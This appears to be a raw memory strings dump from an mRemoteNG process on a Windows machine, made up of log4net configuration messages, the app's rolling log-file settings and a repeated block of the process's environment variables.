[C:\Program Files (x86)\mRemoteNG\mRemoteNG. Assembly [mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null] does not have a RepositoryAttribute specified. Assembly [mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null] using repository [log4net-default-repository] and repository type [log4net.Repository.Hierarchy.Hierar Aliasing repository [ ] to existing repository [ Failed to alias repository [ ]. Requested repository type [ ] is not compatible with existing type [ Creating repository [ ] using type [ Creating repository [log4net-default-repository] using type [log4net.Repository.Hierarchy.Hierar log4net:DEBUG EMERGENCY FATAL ALERT CRITICAL SEVERE ERROR WARN NOTICE INFO DEBUG FINE TRACE FINER VERBOSE FINEST Failed to create plugin. Attribute [ Exception calling [ ] .Configure method. log4net.Config Exception getting ApplicationBaseDirectory. appSettings log4net.Config path [ ] will be treated as an absolute URI log4net.Config.Watch DefaultRepositorySelector: Exception while parsing log4net.Config file physical path [ Loading and watching configuration for default repository from AppSettings specified Config path [ DefaultRepositorySelector: Exception calling XmlConfigurator.ConfigureAndWatch method with ConfigFilePath [ Exception while parsing log4net.Config file path [ Loading configuration for default repository from AppSettings specified Config URI [ Exception calling XmlConfigurator.Configure method with ConfigUri [ configuring repository [ ] using .config file section Application config file is [ Application config file location unknown log4net Failed to find configuration section 'log4net' in the application's .config file. Check your .config file for the and elements. The configuration section should look like:
Unrecognized element Failed to parse config file. Check your .config file is well formed XML.
Failed to parse config file. Is the specified as: configuring repository [log4net-default-repository] using .config file section C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config Application config file is [C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Con C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config mRemoteNG.exe.Config C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config version="1.0" en
0, 0 0, 0 Normal False True True True True False False True True False False True False False root layout log4net.Layout.PatternLayout conversionPattern %date [%thread] %-6level- %message%newline userSettings log4net logger name Logger level value DEBUG root appender-ref LogFileAppender appender type LogFileAppender log4net.Appender.RollingFileAppender file ${APPDATA}\mRemoteNG\mRemoteNG.log appendToFile true rollingStyle Size maxSizeRollBackups maximumFileSize 10MB staticLogFileName true layout log4net.Layout.PatternLayout conversionPattern %date [%thread] %-6level- %message%newline Config_element_locking_not_supported ConfigureFromXml called with null 'element' parameter ConfigureFromXml called with null 'repository' parameter Configuring Repository [ Repository [ ] does not support the XmlConfigurator Configuring Repository [log4net-default-reposit Xml element is - not a element. emitDebug emitDebug attribute [ null Ignoring emitDebug attribute. debug debug attribute [ Ignoring debug attribute. configDebug The "configDebug" attribute is deprecated. Use the "debug" attribute instead. update Invalid update attribute value [ Configuration update mode [ Configuration reset before reading config. logger category root renderer appender threshold Hierarchy Threshold [ Unable to set hierarchy threshold using value [ ] (with acceptable conversion types) debug attribute []. Merge Overwrite Configuration update mode [Merge]. name Retrieving an instance of log4net.Repository.Logger for logger [ additivity Setting [ ] additivity to [ Retrieving an instance of log4net.Repository.Logger for logger [Logg Unexpected object type [ ] in ht. You have tried to set a null level to root. Setting [Logger] additivity to [Tr appender-ref Adding appender named [ ] to logger [ Appender named [ ] not found. level priority value Logger [ ] Level string is [ inherited Root level cannot be inherited. Ignoring directive. ] level set to inherit from parent. Undefined level [ ] on Logger [ ] level set to [name=" ",value= Logger [Logger] Level string is [DEBUG]. 30000 Logger [Logger] level set to [name="DEBUG",value=30000]. Logger [root] Level string is [ALL]. -2147483648 Logger [root] level set to [name="ALL",value=-21474836 XmlHierarchyConfigurator: No appender named [ ] could be found. type Loading Appender [ ] type: [ Attaching appender named [ ] to appender named [ Requesting attachment of appender named [ ] which does not implement log4net.Core.IAppenderAttachable. Created Appender [ Could not create Appender [ ] of type [ ]. Reported error follows. Loading Appender [LogFileAppender] type: [log4net.Appender.RollingFileAppe Loaded type [ ] from assembly [ ] by searching loaded assemblies. .yyyy-MM-dd codepages.nlp NLS_CodePage_{0}_{1}_{2}_{3}_{4} 1252 NLS_CodePage_1252_3_ RollingFileAppender param XmlHierarchyConfigurator: Cannot find Property [ ] to set object on [ Security exception while trying to expand environment variables. Error Ignored. No Expansion. Parameter [ ] specified subtype [ subtype [ ] set on [ ] is not a subclass of property type [ ] and there are no acceptable type conversions. Failed to find type [ Performing additional conversion of value from [ ] to [ Setting Property [ ] to value [ Failed to set parameter [ ] on object [ ] using value [ Setting Collection Property [ Unable to set property [ Failed to create object to set param: ] to object [ file File =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS C:\Users\job\App APPDATA Data\Roaming\mRe \mRemoteNG\mRemoteNG.log moteNG\mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG XmlHierarchyConfigurator: Unknown Level Specified [ Parse String Setting Property [File] to String value [C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log] appendtofile AppendToFile =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Cannot CreateConverterInstance of type [ ], Exception in call to Activator.CreateInstance ], type does not implement IConvertFrom or IConvertTo Boolean Setting Property [AppendToFile] to Boolean value [True] rollingstyle RollingStyle =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Once Size Date Composite RollingMode Setting Property [RollingStyle] to RollingMode value [Size] maxsizerollbackups MaxSizeRollBackups =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Int32 Setting Property [MaxSizeRollBackups] to Int32 value [5] maximumfilesize MaximumFileSize =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Setting Property [MaximumFileSize] to String value [10MB] OptionConverter: [ ] is not in the correct file size syntax. 10MB staticlogfilename StaticLogFileName =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ALLUSERSPROFILE C:\ProgramData APPDATA C:\Users\job\AppData\Roaming CommonProgramFiles C:\Program Files (x86)\Common Files CommonProgramFiles(x86) C:\Program Files (x86)\Common Files CommonProgramW6432 C:\Program Files\Common Files COMPUTERNAME WINDOWS11 ComSpec C:\WINDOWS\system32\cmd.exe DriverData C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628 EFC_4124_1592913036 EFC_4124_2283032206 EFC_4124_2775293581 EFC_4124_3789132940 HOMEDRIVE HOMEPATH \Users\job LOCALAPPDATA C:\Users\job\AppData\Local LOGONSERVER \\WINDOWS11 NUMBER_OF_PROCESSORS OneDrive C:\Users\job\OneDrive Windows_NT Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE PROCESSOR_ARCHITEW6432 AMD64 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL PROCESSOR_REVISION ba02 ProgramData C:\ProgramData ProgramFiles C:\Program Files (x86) ProgramFiles(x86) C:\Program Files (x86) ProgramW6432 C:\Program Files PSModulePath C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC C:\Users\Public SESSIONNAME Console SystemDrive SystemRoot C:\WINDOWS TEMP C:\Users\job\AppData\Local\Temp C:\Users\job\AppData\Local\Temp USERDOMAIN Windows11 USERDOMAIN_ROAMINGPROFILE Windows11 USERNAME USERPROFILE C:\Users\job windir C:\WINDOWS Setting Property [StaticLogFileName] to Boolean value [True] layout Layout Object type not specified. Cannot create object of type [ ]. Missing Value or Type. Object type [ ] is not assignable to type [ ]. There are no acceptable type conversions. XmlHierarchyConfigurator: Failed to construct object of type [ ] Exception: literal newline aspnet-cache aspnet-context aspnet-request aspnet-session class date exception file location line message method property properties timestamp stacktrace stacktracedetail thread appdomain identity utcdate utcDate UtcDate username %message%newline length2 length1 offset2 offset1 Converter [ ] Option [ ] Format [min= ,max= ,leftAlign= Unknown converter name [ ] in conversion pattern. Failed to create instance of Type [ ] using default constructor. Exception: 2147483647 Converter [message] Option [] Format [min=-1,max=2147483647,leftAlign=False] 2147483647 Converter [newline] Option [] Format [min=-1,max=2147483647,leftAlign=False] UNIX conversionpattern ConversionPattern =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps; 